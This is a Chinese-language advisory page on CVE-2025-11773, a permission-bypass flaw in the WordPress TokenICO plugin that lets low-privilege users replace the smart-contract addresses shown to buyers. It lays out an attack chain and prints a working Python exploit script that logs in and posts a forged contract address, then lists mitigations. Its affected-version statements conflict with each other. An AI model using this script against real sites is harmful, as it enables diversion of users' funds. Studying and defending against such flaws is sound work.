IPBUF安全漏洞报告
English
CVE-2025-11773 CVSS 4.3 中危

CVE-2025-11773 WordPress TokenICO插件saveDeployedContract函数权限绕过漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-11773
漏洞类型
权限绕过/越权访问
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress TokenICO插件 (Cryptocurrency Token Launchpad Presale ICO IDO Airdrop)

相关标签

WordPress插件漏洞权限绕过TokenICO智能合约地址污染CVE-2025-11773WordPress安全ICO平台漏洞REST API漏洞数据篡改

漏洞概述

WordPress的TokenICO加密货币代币启动平台插件存在严重的权限绕过漏洞。该插件用于管理加密货币代币发行、预售、ICO、IDO和空投功能。漏洞源于saveDeployedContract函数缺少权限检查,导致任何已认证用户(包括最低权限的订阅者级别用户)都能调用该函数。攻击者可利用此漏洞修改WordPress的tokenico_deployed_contracts选项,从而污染智能合约地址显示。此漏洞影响所有版本直至2.4.7,CVSS评分为4.3(中危)。由于涉及金融交易场景,攻击者可能通过替换合约地址诱导用户向错误地址转账,造成经济损失。建议管理员尽快升级至最新版本并检查合约地址的完整性。

技术细节

漏洞根源在于TokenICO插件的RestAPI.php文件中saveDeployedContract函数缺少WordPress capability检查。该函数允许已认证用户直接修改WordPress数据库中的tokenico_deployed_contracts选项,而无需验证用户是否具有管理员权限。具体来说,当用户通过REST API发送请求时,函数直接处理数据并调用update_option存储攻击者控制的合约地址。攻击者只需拥有一个订阅者级别的账户即可发起攻击,无需任何用户交互。攻击成功后,插件在前端显示的智能合约地址将被替换为攻击者指定的地址,可能导致用户向非法地址转账。该漏洞属于CWE-285(权限控制不当)的典型案例,CVSS向量显示攻击复杂度低、所需权限低、无需用户交互,但影响范围限于完整性和少量数据篡改。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress账户(订阅者级别或更高权限)
STEP 2
步骤2
攻击者构造恶意REST API请求,指向/wp-json/tokenico/v1/deployed-contracts端点
STEP 3
步骤3
请求中包含伪造的智能合约地址,注入到tokenico_deployed_contracts WordPress选项
STEP 4
步骤4
由于saveDeployedContract函数缺少current_user_can检查,恶意数据被成功存储
STEP 5
步骤5
插件前端显示被污染的合约地址,诱导用户向攻击者控制的地址转账
STEP 6
步骤6
用户向伪造地址转账,造成不可逆的金融损失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-11773 PoC - TokenICO Plugin Authorization Bypass # Target: WordPress site with TokenICO plugin <= 2.4.7 def exploit(url, username, password, malicious_address): """ Exploit the missing capability check in saveDeployedContract function. PoC for educational and authorized testing purposes only. """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Send malicious request to poison deployed contracts option api_url = f"{url}/wp-json/tokenico/v1/deployed-contracts" payload = { 'contract_address': malicious_address, 'network': 'ethereum', 'token_name': 'Malicious Token' } resp = session.post(api_url, json=payload) if resp.status_code in [200, 201]: print(f"[+] Successfully poisoned contract address: {malicious_address}") return True else: print(f"[-] Exploit failed with status: {resp.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <url> <username> <password> <malicious_address>") sys.exit(1) url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] malicious_address = sys.argv[4] exploit(url, username, password, malicious_address)

影响范围

TokenICO插件 < 2.4.7

防御指南

临时缓解措施
如果无法立即升级,可临时采取以下措施:1) 禁用TokenICO插件或限制其功能;2) 审查并删除所有可疑的tokenico_deployed_contracts选项值,恢复为原始正确地址;3) 审查所有具有订阅者及以上权限的账户,删除可疑账户;4) 启用双因素认证强化管理员账户安全;5) 使用Wordfence插件监控对options表的异常修改行为;6) 考虑暂时切换到其他经过安全审计的代币发行解决方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表